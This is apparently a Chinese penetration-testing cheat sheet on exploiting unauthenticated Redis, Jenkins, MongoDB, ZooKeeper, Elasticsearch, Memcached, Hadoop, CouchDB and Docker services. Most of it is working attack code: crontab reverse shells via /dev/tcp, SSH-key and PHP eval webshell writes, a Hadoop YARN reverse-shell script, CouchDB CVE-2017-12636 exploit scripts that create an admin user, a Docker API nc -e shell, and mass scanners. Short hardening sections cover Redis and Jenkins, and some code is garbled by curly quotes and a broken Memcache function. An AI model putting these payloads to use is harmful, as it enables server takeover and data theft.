参考文献:https://xz.aliyun.com/t/2320
自动扫描内网常见sql、no-sql数据库脚本(mysql、mssql、oracle、postgresql、redis、mongodb、memcached、elasticsearch),包含未授权访问及常规弱口令检测:
https://github.com/se55i0n/DBScanner
Redis未授权访问
1 | * 查看信息:info |
匿名扫描脚本:https://xz.aliyun.com/t/528
①利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口1
nc -lvnp 7999
然后执行命令:1
2
3
4
5root@kali:~## redis-cli -h xxx.xxx.x.xx
xxx.xxx.x.xx:6379> set x "\n* * * * * bash -i >& /dev/tcp/xxx.xxx.x.xx/7999 0>&1\n"
xxx.xxx.x.xx:6379> config set dir /var/spool/cron/
xxx.xxx.x.xx:6379> config set dbfilename root
xxx.xxx.x.xx:6379> save
②写ssh-keygen公钥然后使用私钥登陆
以前写过的文章https://www.jianshu.com/writer#/notebooks/10454425/notes/224030701
2
3
4
5
6
7
8
9
10~/.ssh#ssh-keygen -t rsa
#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
#cat foo.txt | redis-cli -h x.x.x.x -x set crackit
#redis-cli -h x.x.x.x
> config set dir /root/.ssh/
> config get dir
> config set dbfilename "authorized_keys"
> save
ssh -i id_rsa root@x.x.x.x
或1
2
3
4xxx.xxx.x.xx:6379> config set dir /root/.ssh/
xxx.xxx.x.xx:6379> config set dbfilename authorized_keys
xxx.xxx.x.xx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
xxx.xxx.x.xx:6379> save
③往web物理路径写webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell1
2
3
4xxx.xxx.x.xx:6379> config set dir /var/www/html/
xxx.xxx.x.xx:6379> config set dbfilename shell.php
xxx.xxx.x.xx:6379> set x "<?php phpinfo();?>"
xxx.xxx.x.xx:6379> save
④写二进制文件,利用dns、icmp等协议上线(tcp协议不能出网)
写二进制文件跟前边有所不同,原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用python清洗脏数据。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31#文件名a.lua
local function hex2bin(hexstr)
local str = ""
for i = 1, string.len(hexstr) - 1, 2 do
local doublebytestr = string.sub(hexstr, i, i+1);
local n = tonumber(doublebytestr, 16);
if 0 == n then
str = str .. '\00'
else
str = str .. string.format("%c", n)
end
end
return str
end
local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')
local data = '1a2b3c4d5e6f1223344556677890aa'//变量data保存的是程序的16进制编码
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst
执行redis-cli --eval a.lua -h xxx.xxx.x.xx
redis不支持在lua中调用save,需要手动执行save操作,并删除key data,恢复dir等。1
2
3
4redis-cli save -h xxx.xxx.x.xx
redis-cli config set dir *** -h xxx.xxx.x.xx
redis-cli config set dbfilename *** -h xxx.xxx.x.xx
redis-cli config set rdbcompression * -h xxx.xxx.x.xx
目前写入的文件前后是存在垃圾数据的,下一步通过写计划任务调用python或者系统命令提取出二进制文件(写文件时在数据前后加入了|||
作为提取最终文件的标识)。*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'
/tmp/rst为最终上传的文件。
⑤傻瓜式python脚本
https://raw.githubusercontent.com/00theway/redis_exp/master/redis_exp.py
1 | 执行命令 |
⑥批量验证
https://github.com/Ridter/hackredis
防护措施
①禁止一些高危命令
修改 redis.conf
文件,添加以下内容,来禁用远程修改 DB 文件地址1
2
3rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
②以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆$ groupadd -r redis && useradd -r -g redis redis
③为 Redis 添加密码验证
修改 redis.conf
文件,添加requirepass mypassword
④禁止外网访问 Redis
修改redis.conf
文件,添加或修改,使得 Redis 服务只在当前主机可用bind 127.0.0.1
⑤保证 authorized_keys 文件的安全
为了保证安全,阻止其他用户添加新的公钥。
将 authorized_keys
的权限设置为对拥有者只读,其他用户没有任何权限:chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys
的权限不会被改掉,您还需要设置该文件的immutable
位权限:chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh
,然后新建新的~/.ssh
目录和authorized_keys
文件。要避免这种情况,需要设置~./ssh 的 immutable
位权限:chattr +i ~/.ssh
Ps: 如果需要添加新的公钥,需要移除 authorized_keys
的 immutable
位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable
位权限。
6.修改默认端口
指定Redis监听端口,默认端口为6379redis-server --port 6380
⑦防火墙1
2
3
4
5
6
7
8
9
10
11// accept
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT
// drop
iptables -I INPUT -p tcp --dport 6379 -j DROP
iptables -I INPUT -p udp --dport 6379 -j DROP
// 保存规则并重启 iptables
service iptables save
service iptables restart
Jenkins未授权访问
①扫描探测
弱口令扫描:https://github.com/blackye/Jenkins 或者https://github.com/blackye/Jenkins
From: https://www.secpulse.com/archives/2166.html
CVE-2017-1000353:https://blogs.securiteam.com/index.php/archives/3171
Ps: script/manage 是管理页面
②攻击利用
2.1 反弹shell
1 | println "wget http://xxx.xxx.x.xx :8081/exp -P /tmp/".execute().text |
或直接通过 Terminal+Plugin
https://wiki.jenkins.io/display/JENKINS/Terminal+Plugin
2.2 写webshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
161. println "wget http://shell.com/shell.txt -P /var/www/html/".execute().text
2. new File("/var/www/html/shell.php").write('<?php @eval($_POST[shell]);?>');
3.
def webshell = '<?php @eval($_POST[shell]);?>'
new File("/var/www/html/shell.php").write("$webshell");
4.
def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /var/www/html/shell.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[shell]);?>" >> /var/www/html/shell.php' ] )
//参数-n 不要在最后自动换行
2.3 读文件
1 | try{ |
2.4 执行命令
1 | def sout = new StringBuilder(), serr = new StringBuilder() |
回显注意点
- Result: 0 表示成功写入
- Result: 1 表示目录不存在或者权限不足 写入失败
- Result: 2 表示构造有异常 写入失败
jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限,某些版本匿名用户可以访问asynchPeople 可爆破密码(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)
防护措施
- 在Jenkins管理页面添加访问密码。建议您使用由十位以上数字,字母和特殊符号组成的强密码。
- 不要将管理后台开放到互联网上。可以使用ECS安全组策略设置访问控制,默认策略为拒绝所有通信。可以根据业务发布情况仅开放
- 需要对外用户提供的服务,并控制好访问源IP
MongoDB未授权访问
MongoDB 默认直接连接,无须身份验证,如果当前机器可以公网访问,且不注意Mongodb 端口(默认 27017)的开放状态,那么Mongodb就会产生安全风险,被利用此配置漏洞,入侵数据库。
- 使用默认 mongod 命令启动 Mongodb
- 机器可以被公网访问
- 在公网上开放了 Mongodb 端口
- 数据库隐私泄露
- 数据库被清空
- 数据库运行缓慢
①扫描探测
下载:http://nmap.org/svn/scripts/mongodb-info.nsenmap -p 27017 --script mongodb-info <ip>
1.2 批量扫描未授权1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49import socket
import sys
import pymongo
ipcons = []
def Scanner(ip):
global ipcons
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(0.3)
try:
sk.connect((ip,27017))
ipcons.append(ip)
sk.close()
except Exception:
pass
def ip2num(ip):
ip=[int(x) for x in ip.split('.')]
return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]
def num2ip(num):
return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
(num & 0x00ff0000) >>16,
(num & 0x0000ff00) >>8,
num & 0x000000ff )
def get_ip(ip):
start,end = [ip2num(x) for x in ip.split(' ') ]
return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]
startIp = sys.argv[1]
endIp = sys.argv[2]
iplist = get_ip(sys.argv[1]+" "+sys.argv[2])
for i in iplist:
Scanner(i)
def connMon(ip_addr):
print ' Connect mongodb: ' + ip_addr + ':27017'
try:
conn = pymongo.MongoClient(ip_addr,27017,socketTimeoutMS=3000)
dbname = conn.database_names()
print "success"
except Exception as e:
print "error"
print ipcons
for ipaddr in ipcons:
connMon(ipaddr)
print "================="
1.3 shodan扫描脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31##!/usr/bin/python
## -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
'''
import shodan
import os
iplist = []
ip_list = []
shodan_ip_list = []
def shodanSearch(keywords):
SHODAN_API_KEY = "your key"
api = shodan.Shodan(SHODAN_API_KEY)
total = 0
try:
results = api.search(keywords)
total = int(results['total'])
for result in results['matches']:
##iplist.append({"ip":result['ip_str'],"country":result['location']['country_name']})
iplist.append(result['ip_str'])
for i in range(len(iplist)):
ip_list = iplist[i].encode('utf-8')
shodan_ip_list.append(ip_list)
s = '\n'.join(shodan_ip_list)
with open('shodan_ip_list.txt','w') as output:
output.write(s)
except shodan.APIError, e:
print 'Error: %s' % e
if __name__ == '__main__':
shodanSearch('redis')
ZooKeeper未授权访问
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
①扫描探测
ZooKeeper默认开启在2181
端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。./zkCli.sh -server 127.0.0.1 2181
1
2nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt
②攻击获取信息1
2
3
4
5echo stat |ncat 127.0.0.1 2181//stat:列出关于性能和连接的客户端的统计信息。
echo ruok |ncat 127.0.0.1 2181//ruok:测试服务器是否运行在非错误状态。
echo reqs |ncat 127.0.0.1 2181//reqs:列出未完成的请求。
echo envi |ncat 127.0.0.1 2181//envi:打印有关服务环境的详细信息。
echo dump |ncat 127.0.0.1 2181//dump:列出未完成的会话和临时节点。
Elasticsearch未授权访问
ElasticSearch 是一款Java编写的企业级搜索服务,启动此服务默认会开放HTTP-9200端口,可被非法操作数据。
熟悉的响应1
2$ curl http://127.0.0.1:9200/_cat/indices/
{ "status" : 200, "name" : "Flake", "cluster_name" : "elasticsearch", "version" : {"number" : "1.4.1"," "build_hash" : "b88f43fc40b0bcd7f173xxxxx2e97816de80b19", "build_timestamp" : "2015-07-29T09:54:16Z", "build_snapshot" : false, "lucene_version" : "4.10.4"}, "tagline" : "You Know, for Search"}
②漏洞测试
安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)。http://localhost:9200/_cat/indices
里面的indices包含了_river一般就是安装了river了。1
2
3http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据
Memcache未授权访问
memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问
①扫描探测nmap -sV -p 11211 --script memcached-info 0.0.0.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15##! /usr/bin/env python
## _*_ coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("stats\r\n")
result = s.recv(1024)
if "STAT version" in result:
print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
except Exception, e:
pass
if __name__ == '__main__':
Elasticsearch_check("127.0.0.1")
②攻击利用
2.1 基础部分{COMMAND}0x20{ARGUMENT}(LF|CRLF)
command字段有如下几条命令
- 存储操作(set, add, replace, append, prepend, cas)
- 检索操作 (get, gets)
- 删除操作 (delete)
- 增减操作 (incr, decr)
- touch
- slabs reassign
- slabs automove
- lru_crawler
- 统计操作(stats items, slabs, cachedump)
- 其他操作 (version, flush_all, quit)
1 | stats //查看memcache 服务状态 |
2.2 建立连接并获取信息telnet <target> 11211
,或nc -vv <target> 11211
,无需用户名密码,可以直接连接memcache 服务的11211端口。
Hadoop未授权访问
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理。这个框架被Adobe,Last fm,EBay,Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作,用户大概通过如下步骤在hadoop中实现分布式处理:
- 用户创建一个处理键值的map函数
- 产生了一套中间键/值
- reduce函数合并中间值并把他们关联到对应的键
敏感端口:1
2
3
4
5
6HDFS NameNode 50070
HDFS SecondNameNode 50090
HDFS DataNode 50075
HDFS Backup/Checkpoint node 50105
MapReduce JobTracker 50030
MapReduce TaskTracker 50060
通过访问 NameNode WebUI
管理界面的 50070 端口,可以下载任意文件。而且,如果 DataNode
的默认端口 50075 开放,攻击者可以通过 HDSF 提供的 restful API 对 HDFS 存储的数据进行操作。
攻击手法
利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API 也可以提交任务执行。
利用过程如下:
- 在本地监听等待反弹 shell 连接
- 调用 New Application API 创建 Application
- 调用 Submit Application API 提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23攻击脚本
##!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' ## put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
CouchDB未授权访问
CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API
访问。CouchDB会默认会在5984
端口开放Restful的API接口,用于数据库的管理功能。
CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:1
2
3
4
5
6
7[query_servers]
LANGUAGE = PATH ARGS
默认情况下,配置文件中已经设置了两个query_servers:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行(影响版本:小于 1.7.0 以及 小于 2.1.1,该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。)
1.扫描探测nmap -p 5984 --script "couchdb-stats.nse" 127.0.0.1
2.利用方式
(1) 1.6.0 下的说明
依次执行如下请求即可触发任意命令执行,其中,vulhub:vulhub为管理员账号密码。1
2
3
4
5
6
7
8
9#添加一个名字为cmd的query_servers,其值为id >/tmp/success,这就是我们后面待执行的命令。
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
#添加一个Database和Document,这里添加了后面才能查询
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
#在这个Database里进行查询,因为将language设置为cmd,这里就会用到第一步里添加的名为cmd的query_servers,最后触发命令执行
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
(2) 2.1.0 下的说明
2.1.0中修改了上面用到的两个API,Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。带上账号密码访问/_membership
即可:1
2可见,这里只有一个node,名字是nonode@nohost。
然后,修改nonode@nohost的配置:
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d ‘“id >/tmp/success”‘1
然后,与1.6.0的利用方式相同,先增加一个Database和一个Document:
curl -X PUT ‘http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT ‘http://vulhub:vulhub@your-ip:5984/vultest/vul' -d ‘{“_id”:”770895a97726d5ca6d70a22173005c7b”}’1
Couchdb 2.x删除了`_temp_view`,为了触发query_servers中定义的命令,需要添加一个_view:
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d ‘{“_id”:”_design/test”,”views”:{“wooyun”:{“map”:””} },”language”:”cmd”}’ -H “Content-Type: application/json”1
2增加_view的同时即触发了query_servers中的命令。
*2.1 python脚本 支持高低版本,需要在version = 定义*
##!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
target = ‘http://127.0.0.1:5984'
command = ‘“bash -i >& /dev/tcp/192.168.2.64/2222 0>&1”‘
version = 2
session = requests.session()
session.headers = {
‘Content-Type’: ‘application/json’
}
session.proxies = {
‘http’: ‘http://127.0.0.1:8085'
}
session.put(target + ‘/_users/org.couchdb.user:wooyun’, data=’’’{
“type”: “user”,
“name”: “wooyun”,
“roles”: [“_admin”],
“roles”: [],
“password”: “wooyun”
}’’’)
session.auth = HTTPBasicAuth(‘wooyun’, ‘wooyun’)
if version == 1:
session.put(target + (‘/_config/query_servers/cmd’), data=command)
else:
host = session.get(target + ‘/_membership’).json()[‘all_nodes’][0]
session.put(target + ‘/_node/{}/_config/query_servers/cmd’.format(host), data=command)
session.put(target + ‘/wooyun’)
session.put(target + ‘/wooyun/test’, data=’{“_id”: “wooyuntest”}’)
if version == 1:
session.post(target + ‘/wooyun/_temp_view?limit=10’, data=’{“language”:”cmd”,”map”:””}’)
else:
session.put(target + ‘/wooyun/_design/test’, data=’{“_id”:”_design/test”,”views”:{“wooyun”:{“map”:””} },”language”:”cmd”}’)1
2.2 bash自动化脚本
#couchdb.sh
##!/bin/bash
echo CouchDB getshell - c0debreak - tools.changesec.com
echo
if [[ $## -ne 2 ]];then
echo Usage: $0 http://xx.xx.xx.xx:5984 myserver:myport
exit 1
else
server=$1
cb=${2/:/\/}
fi
function run() {
cmd=$1
curl -XPUT "$server/_config/query_servers/cmd" -d "\"$cmd\""
curl -XPUT "$server/example"
curl -XPUT "$server/example/record" -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl --max-time 1 "$server/example/_temp_view?limit=1" -d '{"language":"cmd", "map":""}' -H 'Content-Type: application/json'
}
run “echo ‘/bin/bash -i >& /dev/tcp/$cb 0>&1’ > /tmp/shell”
run “bash /tmp/shell”
run “rm -f /tmp/shell”
curl -XDELETE “$server/_config/query_servers/cmd”1
2
3
4
5
6
7
8
9
10
11
12
13
14
15用法:
`sh couchdb.sh http://xx.xx.xx.xx:5984 myserver:myport`
# Docker未授权访问
**1.基础介绍**
docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。
在使用`docker swarm`的时候,管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,这是 Docker Remote API,可以执行docker命令,比如访问 `http://host:2375/containers/json`会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。
swarm是用来管理docker集群的,应该放在内网。若在公网上的几台机器上安装swarm,并且2375端口的访问策略是开放的,可以直接访问。
*2.利用方法*
随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
import docker
client = docker.DockerClient(base_url=’http://your-ip:2375/')
data = client.containers.run(‘alpine:latest’, r’’’sh -c “echo ‘ * /usr/bin/nc your-ip 21 -e /bin/sh’ >> /tmp/etc/crontabs/root” ‘’’, remove=True, volumes={‘/etc’: {‘bind’: ‘/tmp/etc’, ‘mode’: ‘rw’}})1
2
3写入crontab文件,成功反弹shell
**2.2 python脚本**
[https://github.com/Tycx2ry/docker_api_vul](https://github.com/Tycx2ry/docker_api_vul)
pip install -r requirements.txt//安装类库
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375//查看运行的容器
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a//查看所有的容器
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l//查看所有镜像
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L//查看端口映射
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口//端口写计划任务(centos,redhat等,加-u参数用于ubuntu等)
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -k//写sshkey(自行修改脚本的中公钥)
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e “id” -I 容器id//在容器中执行命令
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id//删除容器
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22//修改client api版本
python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V//查看服务端api版本`